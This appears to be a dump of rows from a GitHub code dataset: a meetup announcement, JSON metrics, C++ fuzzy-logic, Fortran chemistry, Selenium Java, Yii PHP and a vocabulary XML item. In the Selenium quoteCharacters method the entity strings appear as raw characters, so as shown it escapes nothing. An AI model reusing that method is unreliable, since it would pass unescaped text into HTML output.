text
stringlengths 177
99.7k
| meta
dict |
|---|---|
---
title: January Meetups
date: 2017-01-01
author: Joshua
category: news
tags: meetup, chapters
label: Meetups
description: Papers We Love Meetup Schedule for January
ogp:
og:
description: Papers We Love Meetup Schedule for January
fb:
description: Papers We Love Meetup Schedule for January
---
We have another great line-up of meet-ups scheduled for January across a number of our chapters:
**Seattle 1/5**: [: New Directions in Cryptography](https://www.meetup.com/Papers-We-Love-Seattle/events/235992744/)
**San Diego 1/5**: [Discussion Group: Reflections on Trusting Trust](https://www.meetup.com/Papers-We-Love-San-Diego/events/235992328/)
**Chattanooga 1/10**: [Josh Marlow on A Basic Agent](https://www.meetup.com/Papers-We-Love-Chattanooga/events/236484022/)
**Durham 1/12**: [Learn how to read an Academic/Scientific paper](https://www.meetup.com/Papers-We-Love-Raleigh-Durham/events/235513891/)
**Vienna 1/16**: [Parsing with Derivatives](https://www.meetup.com/Papers-We-Love-Vienna/events/236233873/)
**San Francisco 1/19**: [Caitie McCaffrey on "Distributed Programming in Argus"](https://www.meetup.com/papers-we-love-too/events/236706538/)
**Bangalore 1/21**: [CRDT: Conflictfree replicated data types](https://www.meetup.com/Papers-we-love-Bangalore/events/236168678/)
**Gothenburg 1/25**: [Use of Formal Methods at Amazon Web Services by Nachi](https://www.meetup.com/Papers-We-Love-Gothenburg/events/236949636/)
**Montréal 1/25**: [ConvolutionBased Interpolation for Fast, High-Quality Rotation of Images](https://www.meetup.com/Papers-We-Love-Montreal/events/236147759/)
**Falls Church 1/25**: [Parallel computation with molecularmotor-propelled agents (...)](https://www.meetup.com/Papers-We-Love-DC-NoVA/events/236590165/)
**Winnipeg 1/25**: [Our Last Event via Meetup and a New Location](https://www.meetup.com/Papers-We-Love-Winnipeg/events/237145737/)
**Portland 1/25**: [Carl Lerche on "A comprehensive study of CRDTs"](https://www.meetup.com/Papers-We-Love-PDX/events/237008035/)
**Bucharest 1/27**: [January Meetup](https://www.meetup.com/papers-we-love-bucharest/events/237071881/)
**Olivette 1/30**: [The mechanical evaluation of expressions](https://www.meetup.com/Papers-We-Love-in-saint-louis/events/236882665/)
READMORE
---
The **New York Chapter** would like to give special thanks to our Platinum sponsor [TwoSigma](https://www.twosigma.com). Join us in St. Louis for [PWLConf 2016](http://pwlconf.org/)!
|
{
"pile_set_name": "Github"
}
|
{
"tables": [
{
"name": "PrimaryResult",
"columns": [
{
"name": "TimeGenerated",
"type": "datetime"
},
{
"name": "ObjectName",
"type": "string"
},
{
"name": "avg_CounterValue",
"type": "real"
}
],
"rows": [
[
"2020-04-20T21:40:00Z",
"Processor",
0.75
],
[
"2020-04-20T21:40:00Z",
"Logical Disk",
16090.551851851851
],
[
"2020-04-20T21:40:00Z",
"Memory",
702.0666666666667
],
[
"2020-04-20T21:45:00Z",
"Memory",
700.5888888888888
],
[
"2020-04-20T21:45:00Z",
"Processor",
1.0055555555555555
],
[
"2020-04-20T21:45:00Z",
"Logical Disk",
16090.537037037036
],
[
"2020-04-20T21:50:00Z",
"Logical Disk",
16090.586419753086
],
[
"2020-04-20T21:50:00Z",
"Processor",
0.7407407407407407
],
[
"2020-04-20T21:50:00Z",
"Memory",
703.1111111111111
]
]
}
]
}
|
{
"pile_set_name": "Github"
}
|
/*
* Robotic Research Group (RRG)
* State University of Piauí (UESPI), Brazil - Piauí - Teresina
*
* Fuzzy.cpp
*
* Author: AJ Alves <aj.alves@zerokol.com>
* Co authors: Dr. Ricardo Lira <ricardor_usp@yahoo.com.br>
* Msc. Marvin Lemos <marvinlemos@gmail.com>
* Douglas S. Kridi <douglaskridi@gmail.com>
* Kannya Leal <kannyal@hotmail.com>
*/
#include "Fuzzy.h"
// CONTRUCTORS
Fuzzy::Fuzzy()
{
// Initializing pointers with NULL
// FuzzyInput
this->fuzzyInputs = NULL;
// FuzzyOutput
this->fuzzyOutputs = NULL;
// FuzzyRule
this->fuzzyRules = NULL;
}
// DESTRUCTOR
Fuzzy::~Fuzzy()
{
this->cleanFuzzyInputs(this->fuzzyInputs);
this->cleanFuzzyOutputs(this->fuzzyOutputs);
this->cleanFuzzyRules(this->fuzzyRules);
}
// PUBLIC METHODS
// Method to include a new FuzzyInput into Fuzzy
bool Fuzzy::addFuzzyInput(FuzzyInput *fuzzyInput)
{
// auxiliary variable to handle the operation
fuzzyInputArray *newOne;
// allocating in memory
if ((newOne = (fuzzyInputArray *)malloc(sizeof(fuzzyInputArray))) == NULL)
{
// return false if in out of memory
return false;
}
// building the object
newOne->fuzzyInput = fuzzyInput;
newOne->next = NULL;
// if it is the first FuzzyInput, set it as the head
if (this->fuzzyInputs == NULL)
{
this->fuzzyInputs = newOne;
}
else
{
// auxiliary variable to handle the operation
fuzzyInputArray *aux = this->fuzzyInputs;
// find the last element of the array
while (aux != NULL)
{
if (aux->next == NULL)
{
// make the ralations between them
aux->next = newOne;
return true;
}
aux = aux->next;
}
}
return true;
}
// Method to include a new FuzzyOutput into Fuzzy
bool Fuzzy::addFuzzyOutput(FuzzyOutput *fuzzyOutput)
{
// auxiliary variable to handle the operation
fuzzyOutputArray *newOne;
// allocating in memory
if ((newOne = (fuzzyOutputArray *)malloc(sizeof(fuzzyOutputArray))) == NULL)
{
// return false if in out of memory
return false;
}
// building the object
newOne->fuzzyOutput = fuzzyOutput;
newOne->next = NULL;
// sorting the fuzzyOutput
fuzzyOutput->order();
// if it is the first FuzzyOutput, set it as the head
if (this->fuzzyOutputs == NULL)
{
this->fuzzyOutputs = newOne;
}
else
{
// auxiliary variable to handle the operation
fuzzyOutputArray *aux = this->fuzzyOutputs;
// find the last element of the array
while (aux != NULL)
{
if (aux->next == NULL)
{
// make the ralations between them
aux->next = newOne;
return true;
}
aux = aux->next;
}
}
return true;
}
// Method to include a new FuzzyRule into Fuzzy
bool Fuzzy::addFuzzyRule(FuzzyRule *fuzzyRule)
{
// auxiliary variable to handle the operation
fuzzyRuleArray *newOne;
// allocating in memory
if ((newOne = (fuzzyRuleArray *)malloc(sizeof(fuzzyRuleArray))) == NULL)
{
// return false if in out of memory
return false;
}
// building the object
newOne->fuzzyRule = fuzzyRule;
newOne->next = NULL;
// if it is the first FuzzyOutput, set it as the head
if (this->fuzzyRules == NULL)
{
this->fuzzyRules = newOne;
}
else
{
// auxiliary variable to handle the operation
fuzzyRuleArray *aux = this->fuzzyRules;
// find the last element of the array
while (aux != NULL)
{
if (aux->next == NULL)
{
// make the ralations between them
aux->next = newOne;
return true;
}
aux = aux->next;
}
}
return true;
}
// Method to set a crisp value to one FuzzyInput
bool Fuzzy::setInput(int fuzzyInputIndex, float crispValue)
{
// auxiliary variable to handle the operation
fuzzyInputArray *aux;
// instantiate with the first element from array
aux = this->fuzzyInputs;
// while not in the end of the array, iterate
while (aux != NULL)
{
// if the FuzzyInput index match with the desired
if (aux->fuzzyInput->getIndex() == fuzzyInputIndex)
{
// set crisp value for this FuzzyInput and return true
aux->fuzzyInput->setCrispInput(crispValue);
return true;
}
aux = aux->next;
}
// if no FuzzyInput was found, return false
return false;
}
// Method to start the calculate of the result
bool Fuzzy::fuzzify()
{
// auxiliary variable to handle the operation
fuzzyInputArray *fuzzyInputAux;
fuzzyOutputArray *fuzzyOutputAux;
fuzzyRuleArray *fuzzyRuleAux;
// to reset the data of all FuzzyInput and FuzzyOutput objects
// instantiate with first element of the array
fuzzyInputAux = this->fuzzyInputs;
// while not in the end of the array, iterate
while (fuzzyInputAux != NULL)
{
// for each FuzzyInput, reset its data
fuzzyInputAux->fuzzyInput->resetFuzzySets();
fuzzyInputAux = fuzzyInputAux->next;
}
// instantiate with first element of the array
fuzzyOutputAux = this->fuzzyOutputs;
// while not in the end of the array, iterate
while (fuzzyOutputAux != NULL)
{
// for each FuzzyOutput, reset its data
fuzzyOutputAux->fuzzyOutput->resetFuzzySets();
fuzzyOutputAux = fuzzyOutputAux->next;
}
// to calculate the pertinence of all FuzzyInput objects
// instantiate with first element of the array
fuzzyInputAux = this->fuzzyInputs;
// while not in the end of the array, iterate
while (fuzzyInputAux != NULL)
{
// for each FuzzyInput, calculate its pertinence
fuzzyInputAux->fuzzyInput->calculateFuzzySetPertinences();
fuzzyInputAux = fuzzyInputAux->next;
}
// to evaluate which rules were triggered
// instantiate with first element of the array
fuzzyRuleAux = this->fuzzyRules;
// while not in the end of the array, iterate
while (fuzzyRuleAux != NULL)
{
// for each FuzzyRule, evaluate its expressions
fuzzyRuleAux->fuzzyRule->evaluateExpression();
fuzzyRuleAux = fuzzyRuleAux->next;
}
// to truncate the output sets
// instantiate with first element of the array
fuzzyOutputAux = this->fuzzyOutputs;
// while not in the end of the array, iterate
while (fuzzyOutputAux != NULL)
{
// for each FuzzyOutput, truncate the result
fuzzyOutputAux->fuzzyOutput->truncate();
fuzzyOutputAux = fuzzyOutputAux->next;
}
return true;
}
// Method to verify if one specific FuzzyRule was triggered
bool Fuzzy::isFiredRule(int fuzzyRuleIndex)
{
// auxiliary variable to handle the operation
fuzzyRuleArray *aux;
// instantiate with first element of the array
aux = this->fuzzyRules;
// while not in the end of the array, iterate
while (aux != NULL)
{
// if the FuzzyRule index match with the desired
if (aux->fuzzyRule->getIndex() == fuzzyRuleIndex)
{
// return the calculated result
return aux->fuzzyRule->isFired();
}
aux = aux->next;
}
// if no FuzzyRule was found, return false
return false;
}
// Method to retrieve the result of the process for one specific FuzzyOutput
float Fuzzy::defuzzify(int fuzzyOutputIndex)
{
// auxiliary variable to handle the operation
fuzzyOutputArray *aux;
// instantiate with first element of the array
aux = this->fuzzyOutputs;
// while not in the end of the array, iterate
while (aux != NULL)
{
// if the FuzzyOutput index match with the desired
if (aux->fuzzyOutput->getIndex() == fuzzyOutputIndex)
{
// return the calculated result
return aux->fuzzyOutput->getCrispOutput();
}
aux = aux->next;
}
return 0;
}
// PRIVATE METHODS
// Method to recursively clean all FuzzyInput from memory
void Fuzzy::cleanFuzzyInputs(fuzzyInputArray *aux)
{
if (aux != NULL)
{
this->cleanFuzzyInputs(aux->next);
// emptying allocated memory
free(aux);
}
}
// Method to recursively clean all FuzzyOutput from memory
void Fuzzy::cleanFuzzyOutputs(fuzzyOutputArray *aux)
{
if (aux != NULL)
{
this->cleanFuzzyOutputs(aux->next);
// emptying allocated memory
free(aux);
}
}
// Method to recursively clean all FuzzyRule from memory
void Fuzzy::cleanFuzzyRules(fuzzyRuleArray *aux)
{
if (aux != NULL)
{
this->cleanFuzzyRules(aux->next);
// emptying allocated memory
free(aux);
}
}
|
{
"pile_set_name": "Github"
}
|
SUBROUTINE ccsdtq_lr_alpha_16_18(d_a,k_a_offset,d_b,k_b_offset,d_c
&,k_c_offset)
C $Id$
C This is a Fortran77 program generated by Tensor Contraction Engine v.1.0
C Copyright (c) Battelle & Pacific Northwest National Laboratory (2002)
C i1 ( p12 p13 h14 p11 )_yttratrb + = 1 * Sum ( h2 ) * trb ( p12 h2 )_trb * i2 ( h2 p13 h14 p11 )_yttra
IMPLICIT NONE
#include "global.fh"
#include "mafdecls.fh"
#include "sym.fh"
#include "errquit.fh"
#include "tce.fh"
INTEGER d_a
INTEGER k_a_offset
INTEGER d_b
INTEGER k_b_offset
INTEGER d_c
INTEGER k_c_offset
INTEGER nxtask
INTEGER next
INTEGER nprocs
INTEGER count
INTEGER p12b
INTEGER p13b
INTEGER h14b
INTEGER p11b
INTEGER dimc
INTEGER l_c_sort
INTEGER k_c_sort
INTEGER h2b
INTEGER p12b_1
INTEGER h2b_1
INTEGER p13b_2
INTEGER h2b_2
INTEGER h14b_2
INTEGER p11b_2
INTEGER dim_common
INTEGER dima_sort
INTEGER dima
INTEGER dimb_sort
INTEGER dimb
INTEGER l_a_sort
INTEGER k_a_sort
INTEGER l_a
INTEGER k_a
INTEGER l_b_sort
INTEGER k_b_sort
INTEGER l_b
INTEGER k_b
INTEGER l_c
INTEGER k_c
EXTERNAL nxtask
nprocs = GA_NNODES()
count = 0
next = nxtask(nprocs,1)
DO p12b = noab+1,noab+nvab
DO p13b = noab+1,noab+nvab
DO h14b = 1,noab
DO p11b = noab+1,noab+nvab
IF (next.eq.count) THEN
IF ((.not.restricted).or.(int_mb(k_spin+p12b-1)+int_mb(k_spin+p13b
&-1)+int_mb(k_spin+h14b-1)+int_mb(k_spin+p11b-1).ne.8)) THEN
IF (int_mb(k_spin+p12b-1)+int_mb(k_spin+p13b-1) .eq. int_mb(k_spin
&+h14b-1)+int_mb(k_spin+p11b-1)) THEN
IF (ieor(int_mb(k_sym+p12b-1),ieor(int_mb(k_sym+p13b-1),ieor(int_m
&b(k_sym+h14b-1),int_mb(k_sym+p11b-1)))) .eq. ieor(irrep_y,ieor(irr
&ep_t,ieor(irrep_tra,irrep_trb)))) THEN
dimc = int_mb(k_range+p12b-1) * int_mb(k_range+p13b-1) * int_mb(k_
&range+h14b-1) * int_mb(k_range+p11b-1)
IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c_sort,k_c_sort)) CALL
& ERRQUIT('ccsdtq_lr_alpha_16_18',0,MA_ERR)
CALL DFILL(dimc,0.0d0,dbl_mb(k_c_sort),1)
DO h2b = 1,noab
IF (int_mb(k_spin+p12b-1) .eq. int_mb(k_spin+h2b-1)) THEN
IF (ieor(int_mb(k_sym+p12b-1),int_mb(k_sym+h2b-1)) .eq. irrep_trb)
& THEN
CALL TCE_RESTRICTED_2(p12b,h2b,p12b_1,h2b_1)
CALL TCE_RESTRICTED_4(p13b,h2b,h14b,p11b,p13b_2,h2b_2,h14b_2,p11b_
&2)
dim_common = int_mb(k_range+h2b-1)
dima_sort = int_mb(k_range+p12b-1)
dima = dim_common * dima_sort
dimb_sort = int_mb(k_range+p13b-1) * int_mb(k_range+h14b-1) * int_
&mb(k_range+p11b-1)
dimb = dim_common * dimb_sort
IF ((dima .gt. 0) .and. (dimb .gt. 0)) THEN
IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a_sort,k_a_sort)) CALL
& ERRQUIT('ccsdtq_lr_alpha_16_18',1,MA_ERR)
IF (.not.MA_PUSH_GET(mt_dbl,dima,'noname',l_a,k_a)) CALL ERRQUIT('
&ccsdtq_lr_alpha_16_18',2,MA_ERR)
CALL GET_HASH_BLOCK(d_a,dbl_mb(k_a),dima,int_mb(k_a_offset),(h2b_1
& - 1 + noab * (p12b_1 - noab - 1)))
CALL TCE_SORT_2(dbl_mb(k_a),dbl_mb(k_a_sort),int_mb(k_range+p12b-1
&),int_mb(k_range+h2b-1),1,2,1.0d0)
IF (.not.MA_POP_STACK(l_a)) CALL ERRQUIT('ccsdtq_lr_alpha_16_18',3
&,MA_ERR)
IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b_sort,k_b_sort)) CALL
& ERRQUIT('ccsdtq_lr_alpha_16_18',4,MA_ERR)
IF (.not.MA_PUSH_GET(mt_dbl,dimb,'noname',l_b,k_b)) CALL ERRQUIT('
&ccsdtq_lr_alpha_16_18',5,MA_ERR)
IF ((h2b .le. p13b)) THEN
CALL GET_HASH_BLOCK(d_b,dbl_mb(k_b),dimb,int_mb(k_b_offset),(p11b_
&2 - noab - 1 + nvab * (h14b_2 - 1 + noab * (p13b_2 - noab - 1 + nv
&ab * (h2b_2 - 1)))))
CALL TCE_SORT_4(dbl_mb(k_b),dbl_mb(k_b_sort),int_mb(k_range+h2b-1)
&,int_mb(k_range+p13b-1),int_mb(k_range+h14b-1),int_mb(k_range+p11b
&-1),4,3,2,1,1.0d0)
END IF
IF (.not.MA_POP_STACK(l_b)) CALL ERRQUIT('ccsdtq_lr_alpha_16_18',6
&,MA_ERR)
CALL DGEMM('T','N',dima_sort,dimb_sort,dim_common,1.0d0,dbl_mb(k_a
&_sort),dim_common,dbl_mb(k_b_sort),dim_common,1.0d0,dbl_mb(k_c_sor
&t),dima_sort)
IF (.not.MA_POP_STACK(l_b_sort)) CALL ERRQUIT('ccsdtq_lr_alpha_16_
&18',7,MA_ERR)
IF (.not.MA_POP_STACK(l_a_sort)) CALL ERRQUIT('ccsdtq_lr_alpha_16_
&18',8,MA_ERR)
END IF
END IF
END IF
END DO
IF (.not.MA_PUSH_GET(mt_dbl,dimc,'noname',l_c,k_c)) CALL ERRQUIT('
&ccsdtq_lr_alpha_16_18',9,MA_ERR)
IF ((p12b .le. p13b)) THEN
CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p11b-1
&),int_mb(k_range+h14b-1),int_mb(k_range+p13b-1),int_mb(k_range+p12
&b-1),4,3,2,1,1.0d0/2.0d0)
CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p11b
&- noab - 1 + nvab * (h14b - 1 + noab * (p13b - noab - 1 + nvab * (
&p12b - noab - 1)))))
END IF
IF ((p13b .le. p12b)) THEN
CALL TCE_SORT_4(dbl_mb(k_c_sort),dbl_mb(k_c),int_mb(k_range+p11b-1
&),int_mb(k_range+h14b-1),int_mb(k_range+p13b-1),int_mb(k_range+p12
&b-1),3,4,2,1,-1.0d0/2.0d0)
CALL ADD_HASH_BLOCK(d_c,dbl_mb(k_c),dimc,int_mb(k_c_offset),(p11b
&- noab - 1 + nvab * (h14b - 1 + noab * (p12b - noab - 1 + nvab * (
&p13b - noab - 1)))))
END IF
IF (.not.MA_POP_STACK(l_c)) CALL ERRQUIT('ccsdtq_lr_alpha_16_18',1
&0,MA_ERR)
IF (.not.MA_POP_STACK(l_c_sort)) CALL ERRQUIT('ccsdtq_lr_alpha_16_
&18',11,MA_ERR)
END IF
END IF
END IF
next = nxtask(nprocs,1)
END IF
count = count + 1
END DO
END DO
END DO
END DO
next = nxtask(-nprocs,1)
call GA_SYNC()
RETURN
END
|
{
"pile_set_name": "Github"
}
|
// Licensed to the Software Freedom Conservancy (SFC) under one
// or more contributor license agreements. See the NOTICE file
// distributed with this work for additional information
// regarding copyright ownership. The SFC licenses this file
// to you under the Apache License, Version 2.0 (the
// "License"); you may not use this file except in compliance
// with the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing,
// software distributed under the License is distributed on an
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
// KIND, either express or implied. See the License for the
// specific language governing permissions and limitations
// under the License.
package org.openqa.selenium.server.htmlrunner;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.io.Writer;
import java.net.URLDecoder;
import java.text.MessageFormat;
import java.util.Collection;
import java.util.LinkedList;
import java.util.List;
/**
* A data model class for the results of the Selenium HTMLRunner (aka TestRunner, FITRunner)
*
* @author Darren Cotterill
* @author Ajit George
*/
public class HTMLTestResults {
private final String result;
private final String totalTime;
private final String numTestTotal;
private final String numTestPasses;
private final String numTestFailures;
private final String numCommandPasses;
private final String numCommandFailures;
private final String numCommandErrors;
private final String seleniumVersion;
private final String seleniumRevision;
private final String log;
private final HTMLSuiteResult suite;
private static final String HEADER = "<html>\n" +
"<head><style type='text/css'>\n" +
"body, table {\n" +
" font-family: Verdana, Arial, sans-serif;\n" +
" font-size: 12;\n" +
"}\n" +
"\n" +
"table {\n" +
" border-collapse: collapse;\n" +
" border: 1px solid #ccc;\n" +
"}\n" +
"\n" +
"th, td {\n" +
" padding-left: 0.3em;\n" +
" padding-right: 0.3em;\n" +
"}\n" +
"\n" +
"a {\n" +
" text-decoration: none;\n" +
"}\n" +
"\n" +
".title {\n" +
" font-style: italic;\n" +
"}\n" +
"\n" +
".selected {\n" +
" background-color: #ffffcc;\n" +
"}\n" +
"\n" +
".status_done {\n" +
" background-color: #eeffee;\n" +
"}\n" +
"\n" +
".status_passed {\n" +
" background-color: #ccffcc;\n" +
"}\n" +
"\n" +
".status_failed {\n" +
" background-color: #ffcccc;\n" +
"}\n" +
"\n" +
".breakpoint {\n" +
" background-color: #cccccc;\n" +
" border: 1px solid black;\n" +
"}\n" +
"</style><title>Test suite results</title></head>\n" +
"<body>\n<h1>Test suite results </h1>";
private static final String SUMMARY_HTML =
"\n\n<table>\n" +
"<tr>\n<td>result:</td>\n<td>{0}</td>\n</tr>\n" +
"<tr>\n<td>totalTime:</td>\n<td>{1}</td>\n</tr>\n" +
"<tr>\n<td>numTestTotal:</td>\n<td>{2}</td>\n</tr>\n" +
"<tr>\n<td>numTestPasses:</td>\n<td>{3}</td>\n</tr>\n" +
"<tr>\n<td>numTestFailures:</td>\n<td>{4}</td>\n</tr>\n" +
"<tr>\n<td>numCommandPasses:</td>\n<td>{5}</td>\n</tr>\n" +
"<tr>\n<td>numCommandFailures:</td>\n<td>{6}</td>\n</tr>\n" +
"<tr>\n<td>numCommandErrors:</td>\n<td>{7}</td>\n</tr>\n" +
"<tr>\n<td>Selenium Version:</td>\n<td>{8}</td>\n</tr>\n" +
"<tr>\n<td>Selenium Revision:</td>\n<td>{9}</td>\n</tr>\n" +
"<tr>\n<td>{10}</td>\n<td> </td>\n</tr>\n</table>";
private static final String SUITE_HTML =
"<tr>\n<td><a name=\"testresult{0}\">{1}</a><br/>{2}</td>\n<td> </td>\n</tr>";
private final List<String> testTables;
public HTMLTestResults(String postedSeleniumVersion, String postedSeleniumRevision,
String postedResult, String postedTotalTime,
String postedNumTestTotal, String postedNumTestPasses,
String postedNumTestFailures, String postedNumCommandPasses, String postedNumCommandFailures,
String postedNumCommandErrors, String postedSuite, List<String> postedTestTables,
String postedLog) {
result = postedResult;
numCommandFailures = postedNumCommandFailures;
numCommandErrors = postedNumCommandErrors;
suite = new HTMLSuiteResult(postedSuite);
totalTime = postedTotalTime;
numTestTotal = postedNumTestTotal;
numTestPasses = postedNumTestPasses;
numTestFailures = postedNumTestFailures;
numCommandPasses = postedNumCommandPasses;
testTables = postedTestTables;
seleniumVersion = postedSeleniumVersion;
seleniumRevision = postedSeleniumRevision;
log = postedLog;
}
public String getResult() {
return result;
}
public String getNumCommandErrors() {
return numCommandErrors;
}
public String getNumCommandFailures() {
return numCommandFailures;
}
public String getNumCommandPasses() {
return numCommandPasses;
}
public String getNumTestFailures() {
return numTestFailures;
}
public String getNumTestPasses() {
return numTestPasses;
}
public Collection<String> getTestTables() {
return testTables;
}
public String getTotalTime() {
return totalTime;
}
public int getNumTotalTests() {
return Integer.parseInt(numTestPasses) + Integer.parseInt(numTestFailures);
}
public void write(Writer out) throws IOException {
out.write(HEADER);
out.write(MessageFormat.format(SUMMARY_HTML,
result,
totalTime,
numTestTotal,
numTestPasses,
numTestFailures,
numCommandPasses,
numCommandFailures,
numCommandErrors,
seleniumVersion,
seleniumRevision,
suite.getUpdatedSuite()));
out.write("<table>");
for (int i = 0; i < testTables.size(); i++) {
String table = testTables.get(i).replace("\u00a0", " ");
out.write(MessageFormat.format(SUITE_HTML, i, suite.getHref(i), table));
}
out.write("</table><pre>\n");
if (log != null) {
out.write(quoteCharacters(log));
}
out.write("</pre></body></html>");
out.flush();
}
public static String quoteCharacters(String s) {
StringBuffer result = null;
for (int i = 0, max = s.length(), delta = 0; i < max; i++) {
char c = s.charAt(i);
String replacement = null;
if (c == '&') {
replacement = "&";
} else if (c == '<') {
replacement = "<";
} else if (c == '>') {
replacement = ">";
} else if (c == '"') {
replacement = """;
} else if (c == '\'') {
replacement = "'";
}
if (replacement != null) {
if (result == null) {
result = new StringBuffer(s);
}
result.replace(i + delta, i + delta + 1, replacement);
delta += (replacement.length() - 1);
}
}
if (result == null) {
return s;
}
return result.toString();
}
class UrlDecoder {
public String decode(String string) {
try {
return URLDecoder.decode(string, System.getProperty("file.encoding"));
} catch (UnsupportedEncodingException e) {
return string;
}
}
public List<String> decodeListOfStrings(List<String> list) {
List<String> decodedList = new LinkedList<>();
for (String o : list) {
decodedList.add(decode(o));
}
return decodedList;
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
/**
* @link http://www.yiiframework.com/
* @copyright Copyright (c) 2008 Yii Software LLC
* @license http://www.yiiframework.com/license/
*/
namespace yii\authclient\widgets;
use yii\base\Widget;
use Yii;
use yii\helpers\Url;
use yii\helpers\Html;
use yii\authclient\ClientInterface;
/**
* AuthChoice prints buttons for authentication via various auth clients.
* It opens a popup window for the client authentication process.
* By default this widget relies on presence of [[\yii\authclient\Collection]] among application components
* to get auth clients information.
*
* Example:
*
* ~~~php
* <?= yii\authclient\widgets\AuthChoice::widget([
* 'baseAuthUrl' => ['site/auth']
* ]); ?>
* ~~~
*
* You can customize the widget appearance by using [[begin()]] and [[end()]] syntax
* along with using method [[clientLink()]] or [[createClientUrl()]].
* For example:
*
* ~~~php
* <?php
* use yii\authclient\widgets\AuthChoice;
* ?>
* <?php $authAuthChoice = AuthChoice::begin([
* 'baseAuthUrl' => ['site/auth']
* ]); ?>
* <ul>
* <?php foreach ($authAuthChoice->getClients() as $client): ?>
* <li><?php $authAuthChoice->clientLink($client) ?></li>
* <?php endforeach; ?>
* </ul>
* <?php AuthChoice::end(); ?>
* ~~~
*
* This widget supports following keys for [[ClientInterface::getViewOptions()]] result:
* - popupWidth - integer width of the popup window in pixels.
* - popupHeight - integer height of the popup window in pixels.
*
* @see \yii\authclient\AuthAction
*
* @property array $baseAuthUrl Base auth URL configuration. This property is read-only.
* @property ClientInterface[] $clients Auth providers. This property is read-only.
*
* @author Paul Klimov <klimov.paul@gmail.com>
* @since 2.0
*/
class AuthChoice extends Widget
{
/**
* @var string name of the auth client collection application component.
* This component will be used to fetch services value if it is not set.
*/
public $clientCollection = 'authClientCollection';
/**
* @var string name of the GET param , which should be used to passed auth client id to URL
* defined by [[baseAuthUrl]].
*/
public $clientIdGetParamName = 'authclient';
/**
* @var array the HTML attributes that should be rendered in the div HTML tag representing the container element.
* @see \yii\helpers\Html::renderTagAttributes() for details on how attributes are being rendered.
*/
public $options = [
'class' => 'auth-clients'
];
/**
* @var boolean indicates if popup window should be used instead of direct links.
*/
public $popupMode = true;
/**
* @var boolean indicates if widget content, should be rendered automatically.
* Note: this value automatically set to 'false' at the first call of [[createClientUrl()]]
*/
public $autoRender = true;
/**
* @var array configuration for the external clients base authentication URL.
*/
private $_baseAuthUrl;
/**
* @var ClientInterface[] auth providers list.
*/
private $_clients;
/**
* @param ClientInterface[] $clients auth providers
*/
public function setClients(array $clients)
{
$this->_clients = $clients;
}
/**
* @return ClientInterface[] auth providers
*/
public function getClients()
{
if ($this->_clients === null) {
$this->_clients = $this->defaultClients();
}
return $this->_clients;
}
/**
* @param array $baseAuthUrl base auth URL configuration.
*/
public function setBaseAuthUrl(array $baseAuthUrl)
{
$this->_baseAuthUrl = $baseAuthUrl;
}
/**
* @return array base auth URL configuration.
*/
public function getBaseAuthUrl()
{
if (!is_array($this->_baseAuthUrl)) {
$this->_baseAuthUrl = $this->defaultBaseAuthUrl();
}
return $this->_baseAuthUrl;
}
/**
* Returns default auth clients list.
* @return ClientInterface[] auth clients list.
*/
protected function defaultClients()
{
/* @var $collection \yii\authclient\Collection */
$collection = Yii::$app->get($this->clientCollection);
return $collection->getClients();
}
/**
* Composes default base auth URL configuration.
* @return array base auth URL configuration.
*/
protected function defaultBaseAuthUrl()
{
$baseAuthUrl = [
Yii::$app->controller->getRoute()
];
$params = $_GET;
unset($params[$this->clientIdGetParamName]);
$baseAuthUrl = array_merge($baseAuthUrl, $params);
return $baseAuthUrl;
}
/**
* Outputs client auth link.
* @param ClientInterface $client external auth client instance.
* @param string $text link text, if not set - default value will be generated.
* @param array $htmlOptions link HTML options.
*/
public function clientLink($client, $text = null, array $htmlOptions = [])
{
if ($text === null) {
$text = Html::tag('span', '', ['class' => 'auth-icon ' . $client->getName()]);
$text .= Html::tag('span', $client->getTitle(), ['class' => 'auth-title']);
}
if (!array_key_exists('class', $htmlOptions)) {
$htmlOptions['class'] = 'auth-link ' . $client->getName();
}
if ($this->popupMode) {
$viewOptions = $client->getViewOptions();
if (isset($viewOptions['popupWidth'])) {
$htmlOptions['data-popup-width'] = $viewOptions['popupWidth'];
}
if (isset($viewOptions['popupHeight'])) {
$htmlOptions['data-popup-height'] = $viewOptions['popupHeight'];
}
}
echo Html::a($text, $this->createClientUrl($client), $htmlOptions);
}
/**
* Composes client auth URL.
* @param ClientInterface $provider external auth client instance.
* @return string auth URL.
*/
public function createClientUrl($provider)
{
$this->autoRender = false;
$url = $this->getBaseAuthUrl();
$url[$this->clientIdGetParamName] = $provider->getId();
return Url::to($url);
}
/**
* Renders the main content, which includes all external services links.
*/
protected function renderMainContent()
{
echo Html::beginTag('ul', ['class' => 'auth-clients clear']);
foreach ($this->getClients() as $externalService) {
echo Html::beginTag('li', ['class' => 'auth-client']);
$this->clientLink($externalService);
echo Html::endTag('li');
}
echo Html::endTag('ul');
}
/**
* Initializes the widget.
*/
public function init()
{
$view = Yii::$app->getView();
if ($this->popupMode) {
AuthChoiceAsset::register($view);
$view->registerJs("\$('#" . $this->getId() . "').authchoice();");
} else {
AuthChoiceStyleAsset::register($view);
}
$this->options['id'] = $this->getId();
echo Html::beginTag('div', $this->options);
}
/**
* Runs the widget.
*/
public function run()
{
if ($this->autoRender) {
$this->renderMainContent();
}
echo Html::endTag('div');
}
}
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<item xmlns="http://www.supermemo.net/2006/smux">
<lesson-title>GRE词汇:《再要你命三千》</lesson-title>
<chapter-title>List 28</chapter-title>
<question-title>根据单词,回想词义</question-title>
<question><span style="font-size:18; font-family:Comic Sans MS; font-weight:normal; font-style:normal; color:#550000">dampen</span><br /><span style="font-size:14; font-family:微软雅黑; font-weight:normal; font-style:normal; color:#000000">[<font face="Kingsoft Phonetic">5dAmpEn</font>]</span><br /></question>
<answer>【考法 1】 vt. (特指稍稍地)弄湿: to make or become slightly or moderately wet<br />
【例】 dampen a paper towel with water and use it to clean up the mess 把纸巾弄湿用来清扫<br />
